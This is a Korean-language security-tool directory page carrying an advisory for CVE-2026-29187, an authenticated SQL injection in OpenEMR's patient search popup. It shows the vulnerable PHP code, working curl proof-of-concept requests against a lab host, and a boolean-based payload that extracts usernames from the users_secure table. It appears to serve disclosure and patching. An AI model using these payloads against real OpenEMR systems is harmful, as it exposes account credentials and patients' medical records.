Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-29187_SqlInjectionVulnerabilityOpenEMR7.0.4 — CVE-2026-29187: OpenEMR <8.0.0.3의 SQL 인젝션 취약점 | Kitploit
도구/GitHubGitHub/chrissub08/cve-2026-29187_sqlinjectionvulnerabilityopenemr7.0.4
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringPenetration TestingDatabase Security
GitHubchrissub08/cve-2026-29187_sqlinjectionvulnerabilityopenemr7.0.4

CVE-2026-29187_SqlInjectionVulnerabilityOpenEMR7.0.4

CVE-2026-29187: OpenEMR <8.0.0.3의 SQL 인젝션 취약점

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
4개월 전아직 검토되지 않음

CVE-2026-29187 - 새 검색 팝업의 SQL 인젝션 취약점

약점 CWE-89

SQL 명령에 사용되는 특수 요소의 부적절한 중화 ('SQL 인젝션') 제품은 상위 구성 요소로부터 외부의 영향을 받는 입력을 사용하여 SQL 명령의 전체 또는 일부를 구성하지만, 다운스트림 구성 요소로 보낼 때 의도된 SQL 명령을 수정할 수 있는 특수 요소를 중화하지 않거나 잘못 중화합니다. 사용자가 제어할 수 있는 입력에서 SQL 구문을 충분히 제거하거나 인용하지 않으면 생성된 SQL 쿼리로 인해 해당 입력이 일반 사용자 데이터 대신 SQL로 해석될 수 있습니다. MITRE에서 자세히 알아보세요.

요약

OpenEMR <8.0.0.3에는 인증된 공격자가 악용할 수 있는 새 검색 팝업의 SQL 인젝션 취약점이 있습니다. 이 취약점은 새 검색 팝업 기능에서 입력 검증이 충분하지 않아 발생합니다.

세부 정보

이 취약점은 새 검색 팝업 기능에서 발생하며, 사용자가 제공한 입력이 select 관련성 열과 where 조건에서 적절한 정화(새니타이제이션) 없이 SQL 쿼리에 직접 연결됩니다. 이를 통해 공격자는 악성 SQL 코드를 주입할 수 있습니다.

이 취약점은 다음 라인에 영향을 미칩니다:

  • interface/new/new_search_popup.php 라인 141
  • interface/new/new_search_popup.php 라인 134 및 136
  • interface/new/new_search_popup.php 라인 125 및 128
root@kitploit:~
        foreach ($_REQUEST as $key => $value) {
            if (!str_starts_with((string) $key, 'mf_')) {
                continue; // "match field"
            }
            $fldname = substr((string) $key, 3);
            // pubpid requires special treatment.  Match on that is fatal.
            if ($fldname == 'pubpid') {
                $relevance .= " + 1000 * ( " . add_escape_custom($fldname) . " LIKE ? )";
                array_push($sqlBindArray, $value);
            } else {
                $relevance .= " + ( " . add_escape_custom($fldname) . " LIKE ? )";
                array_push($sqlBindArray, $value);
            }
            $where .= " OR " . add_escape_custom($fldname) . " LIKE ?";
            array_push($sqlBindArraySpecial, $value);
            echo "<input type='hidden' name='" . attr($key) . "' value='" . attr($value) . "' />\n";
            ++$numfields;
        }

        $sql = "SELECT *, ( $relevance ) AS relevance, " .
            "DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS " .
            "FROM patient_data WHERE $where " .
            "ORDER BY relevance DESC, lname, fname, mname " .
            "LIMIT " . escape_limit($fstart) . ", " . escape_limit($MAXSHOW) . "";

        $sqlBindArray = array_merge($sqlBindArray, $sqlBindArraySpecial);
        $rez = sqlStatement($sql, $sqlBindArray);
root@kitploit:~
SELECT *, ( 0 + ( <injection> LIKE ? ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patient_data WHERE 1 = 0 OR <injection> LIKE ? ORDER BY relevance DESC, lname, fname, mname LIMIT 0, 100

PoC

root@kitploit:~
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=5cb438753a9513cb01f5adc257ab474f" 'https://172.18.0.3/interface/new/new_search_popup.php?mf_"=test'           
<!DOCTYPE html>
<html>
<head>
    
<meta charset="utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<link rel="shortcut icon" href="/public/images/logos/core/favicon/favicon.ico?t=1766556932" />

<link rel="stylesheet"  href="/public/themes/style_light.css?v=81" />

<script src="/public/assets/jquery/dist/jquery.min.js?v=81" type="text/javascript"></script>
<script src="/public/assets/bootstrap/dist/js/bootstrap.bundle.min.js?v=81" type="text/javascript"></script>
<script src="/library/js/utility.js?v=81" type="text/javascript"></script>
<script src="/interface/main/tabs/js/include_opener.js?v=81" type="text/javascript"></script>
<script src="/library/textformat.js?v=81" type="text/javascript"></script>
<script src="/library/dialog.js?v=81" type="text/javascript"></script>

<style>
  form {
    padding: 0;
    margin: 0;
  }

  #searchCriteria {
    text-align: center;
    width: 100%;
    font-size: 0.8rem;
    background-color: var(--gray300);
    font-weight: bold;
    padding: 3px;
  }

  #searchResultsHeader th {
    font-size: 0.7rem;
  }

  #searchResults {
    width: 100%;
    height: 80%;
    overflow: auto;
  }

  #searchResults table {
    width: 100%;
    border-collapse: collapse;
    background-color: var(--white);
  }

  #searchResults tr {
    cursor: pointer;
  }

  #searchResults td {
    font-size: 0.7rem;
    border-bottom: 1px solid var(--gray200);
  }

  .topResult {
    background-color: #ff9919;
  }

  .billing {
    color: var(--danger);
    font-weight: bold;
  }

  .highlight {
    background-color: var(--info);
    color: var(--white);
  }
</style>
</head>
<body class="body_top">
    <form method='post' action='new_search_popup.php' name='theform'>
        <input type="hidden" name="csrf_token_form" value="8d463d08b7f4e590085af22b77cfb2d3b921cb73" />
        <input type='hidden' name='fstart' value='0' />
        <input type='hidden' name='mf_&quot;' value='test' />
SQL Statement failed on preparation: SELECT *, ( 0 + ( \&quot; LIKE ? ) ) AS relevance, DATE_FORMAT(DOB,&#039;%m/%d/%Y&#039;) as DOB_TS FROM patient_data WHERE 1 = 0 OR \&quot; LIKE ? ORDER BY relevance DESC, lname, fname, mname LIMIT 0, 100'<br>
<h2><font color='red'>Query Error</font></h2><p><font color='red'>ERROR:</font> query failed: SELECT *, ( 0 + ( \" LIKE ? ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patient_data WHERE 1 = 0 OR \" LIKE ? ORDER BY relevance DESC, lname, fname, mname LIMIT 0, 100</p><p>Error: <font color='red'>You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '\" LIKE ? ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patien...' at line 1</font></p><br />/var/www/localhost/htdocs/openemr/interface/new/new_search_popup.php at 141:sqlStatement                                                                                                                                                                                                                                            
┌──(kali㉿kali)-[~]
└─$ curl -k -b "OpenEMR=5cb438753a9513cb01f5adc257ab474f" 'http://172.18.0.3/interface/new/new_search_popup.php?mf_(SELECT(username)FROM(users_secure))=ad_in%'

┌──(kali㉿kali)-[~]
└─$ 

이를 악용하는 여러 기법이 있으며, 그중 하나는 마지막 페이로드를 사용하는 불리언 기반 공격입니다:

root@kitploit:~
SELECT *, ( 0 + ( (SELECT(username)FROM(users_secure)) LIKE "ad_in%" ) ) AS relevance, DATE_FORMAT(DOB,'%m/%d/%Y') as DOB_TS FROM patient_data WHERE 1 = 0 OR (SELECT(username)FROM(users_secure)) LIKE "ad_in%" ORDER BY relevance DESC, lname, fname, mname LIMIT 0, 100

영향

  • 데이터베이스 정보에 대한 무단 액세스
  • 민감한 의료 정보의 잠재적 데이터 유출
  • 서버 측 코드 실행 (일부 경우)
  • 데이터베이스 손상

취약점 수정 프로세스

  1. 취약점 평가 및 검증
  2. CVE ID 요청 또는 할당
  3. 비공개 포크 또는 비공개 브랜치 생성
  4. 수정 사항 개발
  5. 회귀 및 보안 테스트 작성
  6. 릴리스 노트 및 보안 권고 초안 준비
  7. 수정 사항 게시(코드 병합) 및 패치 버전 릴리스
  8. 취약점 공개

크레딧

  • 연구자: Christophe SUBLET
  • 기관: Grenoble INP - Esisar, UGA
  • 프로젝트: CyberSkills, Orion
도구 다운로드